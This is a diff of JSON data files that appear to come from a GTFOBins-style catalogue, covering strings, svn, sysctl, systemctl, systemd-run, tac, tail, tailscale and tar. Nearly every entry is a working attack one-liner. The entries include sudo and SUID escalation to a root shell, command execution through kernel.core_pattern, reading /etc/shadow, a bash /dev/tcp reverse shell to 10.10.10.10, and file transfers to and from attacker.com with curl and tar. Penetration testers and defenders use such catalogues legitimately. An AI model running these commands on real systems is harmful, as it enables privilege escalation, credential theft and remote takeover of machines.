"code": "LFILE=file_to_read\nstrings \"$LFILE\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./strings \"$LFILE\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo strings \"$LFILE\"\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/su.json
CHANGED
gtfo/data/sudo.json
ADDED
gtfo/data/svn.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "TD=$(mktemp -d)\nsvnadmin create $TD/pwn\nsvn checkout file:///$TD/pwn $TD/project\necho -e '#!/bin/bash\\n/bin/sh' > $TD/shell\nchmod +x $TD/shell\nsudo svn diff --diff-cmd \"$TD/shell\"\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/sysctl.json
CHANGED
|
@@ -1,20 +1,28 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "The '-p' argument can also be used in place of '-n'. In both cases though the output might get corrupted, so this might not be suitable to read binary files.",
|
|
3
2
|
"functions": {
|
|
3
|
+
"command": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The command is executed by root in the background when a core dump occurs.",
|
|
6
|
+
"code": "COMMAND='/bin/sh -c id>/tmp/id'\nsysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
4
9
|
"file-read": [
|
|
5
10
|
{
|
|
6
|
-
"
|
|
11
|
+
"description": "The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.",
|
|
12
|
+
"code": "LFILE=file_to_read\n/usr/sbin/sysctl -n \"/../../$LFILE\"\n"
|
|
7
13
|
}
|
|
8
14
|
],
|
|
9
15
|
"suid": [
|
|
10
16
|
{
|
|
11
|
-
|
|
17
|
+
|
|
18
|
+
"code": "COMMAND='/bin/sh -c id>/tmp/id'\n./sysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n"
|
|
12
19
|
}
|
|
13
20
|
],
|
|
14
21
|
"sudo": [
|
|
15
22
|
{
|
|
16
|
-
|
|
23
|
+
|
|
24
|
+
"code": "COMMAND='/bin/sh -c id>/tmp/id'\nsudo sysctl \"kernel.core_pattern=|$COMMAND\"\nsleep 9999 &\nkill -QUIT $!\ncat /tmp/id\n"
|
|
17
25
|
}
|
|
18
26
|
]
|
|
19
27
|
}
|
|
20
|
-
}
|
|
28
|
+
}
|
gtfo/data/systemctl.json
CHANGED
|
@@ -2,20 +2,23 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"suid": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"id > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"sudo": [
|
|
9
10
|
{
|
|
11
|
+
|
|
10
12
|
"code": "TF=$(mktemp)\necho /bin/sh >$TF\nchmod +x $TF\nsudo SYSTEMD_EDITOR=$TF systemctl edit system.slice\n"
|
|
11
13
|
},
|
|
12
14
|
{
|
|
13
|
-
|
|
15
|
+
|
|
16
|
+
"code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"id > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\nsudo systemctl link $TF\nsudo systemctl enable --now $TF\n"
|
|
14
17
|
},
|
|
15
18
|
{
|
|
16
|
-
"description": "This invokes the default pager, which is likely to be
|
|
19
|
+
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.",
|
|
17
20
|
"code": "sudo systemctl\n!sh\n"
|
|
18
21
|
}
|
|
19
22
|
]
|
|
20
23
|
}
|
|
21
|
-
}
|
|
24
|
+
}
|
|
@@ -0,0 +1,60 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Run an interactive shell using the user's default shell. The `-S` or `--shell` option can be used to invoke the default shell interactively.",
|
|
6
|
+
"code": "systemd-run -S\n"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "Run a shell using a pseudo-terminal (PTY). The `-t` or `--pty` option can be used to run the service on a pseudo-TTY as STDIN/STDOUT/STDERR.",
|
|
10
|
+
"code": "systemd-run --pty /bin/sh\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"command": [
|
|
14
|
+
{
|
|
15
|
+
"description": "Execute a specific command and redirect the output to a file. In this case, the command runs `id` and saves the result to `/tmp/id`.",
|
|
16
|
+
"code": "systemd-run /bin/bash -c \"/bin/id > /tmp/id\"\n"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"reverse-shell": [
|
|
20
|
+
{
|
|
21
|
+
"description": "Run a reverse shell to a remote machine. The reverse shell connects to the specified IP and port. Since `systemd-run` does not handle exported environment variables, the IP address and port must be specified directly in the command. Run `nc -l -p 12345` on the attacker box to receive the shell.",
|
|
22
|
+
"code": "systemd-run /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1'\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"file-upload": [
|
|
26
|
+
{
|
|
27
|
+
"description": "Serve files from the local directory over HTTP. This requires Python to be installed. The command starts a Python HTTP server on port 8888.",
|
|
28
|
+
"code": "systemd-run python3 -m http.server 8888\n"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"file-download": [
|
|
32
|
+
{
|
|
33
|
+
"description": "Download a file from a remote server via HTTP. The file is saved to `/tmp/file_to_save` using `curl`.",
|
|
34
|
+
"code": "systemd-run /bin/sh -c 'curl -o /tmp/file_to_save http://attacker.com/file_to_get'\n"
|
|
35
|
+
}
|
|
36
|
+
],
|
|
37
|
+
"sudo": [
|
|
38
|
+
{
|
|
39
|
+
"description": "Gain an interactive shell as root using `sudo` and `systemd-run`. The `-S` option invokes the shell.",
|
|
40
|
+
"code": "sudo systemd-run -S\n"
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
"description": "Gain a root shell using `sudo` and `systemd-run` with a pseudo-terminal (PTY).",
|
|
44
|
+
"code": "sudo systemd-run --pty /bin/sh\n"
|
|
45
|
+
}
|
|
46
|
+
],
|
|
47
|
+
"file-read": [
|
|
48
|
+
{
|
|
49
|
+
"description": "Read the contents of a file and redirect the output to another file. In this example, the contents of `/etc/passwd` are copied to `/tmp/passwd`.",
|
|
50
|
+
"code": "systemd-run /bin/sh -c \"/bin/cat /etc/passwd > /tmp/passwd\"\n"
|
|
51
|
+
}
|
|
52
|
+
],
|
|
53
|
+
"file-write": [
|
|
54
|
+
{
|
|
55
|
+
"description": "Write data to a specific file. The filename should be absolute. In this example, the string \"DATA\" is written to `/tmp/file`.",
|
|
56
|
+
"code": "systemd-run /bin/sh -c 'echo \"DATA\" > /tmp/file'\n"
|
|
57
|
+
}
|
|
58
|
+
]
|
|
59
|
+
}
|
|
60
|
+
}
|
gtfo/data/tac.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "Make sure that 'RANDOM' does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of 'RANDOM'-separated chunks.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\ntac -s 'RANDOM' \"$LFILE\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./tac -s 'RANDOM' \"$LFILE\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo tac -s 'RANDOM' \"$LFILE\"\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/tail.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"file-read": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\ntail -c1G \"$LFILE\"\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./tail -c1G \"$LFILE\"\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo tail -c1G \"$LFILE\"\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/tailscale.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "If the user can run `/usr/bin/tailscale` as root via `sudo`, they can serve and read any file\naccessible by root. The file becomes reachable via a Tailscale-assigned domain over HTTP.\n\nExample `sudoers` entry:\n```\nray ALL=(ALL) NOPASSWD: /usr/bin/tailscale\n```\n\nExample exploitation:\n```\nsudo tailscale serve --http=8888 /etc/shadow\ncurl http://<hostname>.<tailnet>.ts.net:8888/\n```\n",
|
|
6
|
+
"code": "sudo tailscale serve --http=8888 /etc/shadow\ncurl http://<hostname>.<tailnet>.ts.net:8888/\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/tar.json
CHANGED
|
@@ -2,11 +2,12 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
8
9
|
"description": "This only works for GNU tar.",
|
|
9
|
-
"code": "tar xf /dev/null -I '/bin/sh -c \"sh <&2 1>&2\"'"
|
|
10
|
+
"code": "tar xf /dev/null -I '/bin/sh -c \"sh <&2 1>&2\"'\n"
|
|
10
11
|
},
|
|
11
12
|
{
|
|
12
13
|
"description": "This only works for GNU tar. It can be useful when only a limited command argument injection is available.",
|
|
@@ -15,37 +16,39 @@
|
|
|
15
16
|
],
|
|
16
17
|
"file-upload": [
|
|
17
18
|
{
|
|
18
|
-
"description": "This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the
|
|
19
|
-
"code": "tar cvf
|
|
19
|
+
"description": "This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).",
|
|
20
|
+
"code": "RHOST=attacker.com\nRUSER=root\nRFILE=/tmp/file_to_send.tar\nLFILE=file_to_send\ntar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh\n"
|
|
20
21
|
}
|
|
21
22
|
],
|
|
22
23
|
"file-download": [
|
|
23
24
|
{
|
|
24
|
-
"description": "This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the
|
|
25
|
-
"code": "tar xvf
|
|
25
|
+
"description": "This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).",
|
|
26
|
+
"code": "RHOST=attacker.com\nRUSER=root\nRFILE=/tmp/file_to_get.tar\ntar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh\n"
|
|
26
27
|
}
|
|
27
28
|
],
|
|
28
29
|
"file-write": [
|
|
29
30
|
{
|
|
30
31
|
"description": "This only works for GNU tar.",
|
|
31
|
-
"code": "
|
|
32
|
+
"code": "LFILE=file_to_write\nTF=$(mktemp)\necho DATA > \"$TF\"\ntar c --xform \"s@.*@$LFILE@\" -OP \"$TF\" | tar x -P\n"
|
|
32
33
|
}
|
|
33
34
|
],
|
|
34
35
|
"file-read": [
|
|
35
36
|
{
|
|
36
37
|
"description": "This only works for GNU tar.",
|
|
37
|
-
"code": "
|
|
38
|
+
"code": "LFILE=file_to_read\ntar xf \"$LFILE\" -I '/bin/sh -c \"cat 1>&2\"'\n"
|
|
38
39
|
}
|
|
39
40
|
],
|
|
40
41
|
"sudo": [
|
|
41
42
|
{
|
|
42
|
-
|
|
43
|
+
|
|
44
|
+
"code": "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n"
|
|
43
45
|
}
|
|
44
46
|
],
|
|
45
47
|
"limited-suid": [
|
|
46
48
|
{
|
|
47
|
-
|
|
49
|
+
|
|
50
|
+
"code": "./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh\n"
|
|
48
51
|
}
|
|
49
52
|
]
|
|
50
53
|
}
|
|
51
|
-
}
|
|
54
|
+
}
|